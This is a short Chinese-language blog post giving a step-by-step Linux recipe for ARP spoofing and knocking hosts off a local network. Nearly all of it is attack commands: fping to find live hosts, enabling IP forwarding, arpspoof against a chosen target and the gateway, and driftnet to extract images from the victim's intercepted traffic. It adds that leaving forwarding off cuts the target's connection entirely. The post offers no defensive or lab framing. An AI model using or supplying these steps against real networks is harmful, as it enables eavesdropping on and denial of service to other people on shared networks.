linux 下的局域网断网攻击或arp欺骗

Posted 2020-09-23

arp欺骗：

/*正常情况下 电脑是将流量发送到网关 而欺骗后 则将流量传到此机器的网卡上 再由此机器进行转发至网关*/

--》 first:

  使用fping -asg ip段/*扫描段内存活的主机*/

--》second：

  打开终端 输入echo  1 >/proc/sys/net/ipv4/ip_forward 进行IP流量转发

--》third：

  输入命令：arpspoof -i 网卡 -t 目标主机ip 网关

--》four：

  重新打开一个终端输入：driftnet -i 网卡 /*提取网卡的图片*/

局域网断网：

以上步骤去掉第二步 关闭ip流量转发